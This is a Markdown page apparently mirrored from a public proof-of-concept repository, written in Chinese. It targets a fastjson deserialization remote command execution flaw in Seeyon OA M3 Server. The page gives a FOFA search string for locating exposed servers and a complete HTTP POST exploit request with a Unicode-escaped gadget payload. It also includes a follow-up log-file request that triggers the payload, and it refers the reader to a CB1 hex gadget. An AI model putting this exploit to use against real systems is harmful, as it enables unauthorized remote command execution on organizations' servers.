mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-08-13 03:16:31 +00:00
46 lines
2.0 KiB
Markdown
46 lines
2.0 KiB
Markdown
|
|
|||
|
|
## 致远OA M3 Server 反序列化漏洞
|
|||
|
|
致远 M3 反序列化 远程命令执行漏洞（XVE-2023-24878）
|
|||
|
|
|
|||
|
|
漏洞信息：
|
|||
|
|
https://x.threatbook.com/v5/vul/6bf25402a41b4fc27497a5b42a8421d7ef38d57cb7d8143dedb9a6f438310a2d9e083c39c56fee2571651827b4d9ce8d
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
```
|
|||
|
|
"M3-Server 已启动"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
根据群友说，这个漏洞是fastjson反序列化
|
|||
|
|
|
|||
|
|
利用 CB1 生成 hex 反序列化数据，替换 POC 中的 HEX
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
```
|
|||
|
|
POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
|
|||
|
|
Host: User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Connection: close
|
|||
|
|
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1666334057
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
Sec-Fetch-Dest: document
|
|||
|
|
Sec-Fetch-Mode: navigate
|
|||
|
|
Sec-Fetch-Site: none
|
|||
|
|
Sec-Fetch-User: ?1
|
|||
|
|
Content-Type: application/json
|
|||
|
|
Content-Length: 3680
|
|||
|
|
|
|||
|
|
[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]
|
|||
|
|
```
|
|||
|
|
然后再 Get 访问/mobile_portal/api/systemLog/pns/loadLog/app.log
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞分析
|
|||
|
|
```
|
|||
|
|
https://mp.weixin.qq.com/s/czbhaf7jpNmgjAt-OFWmIA
|
|||
|
|
```
|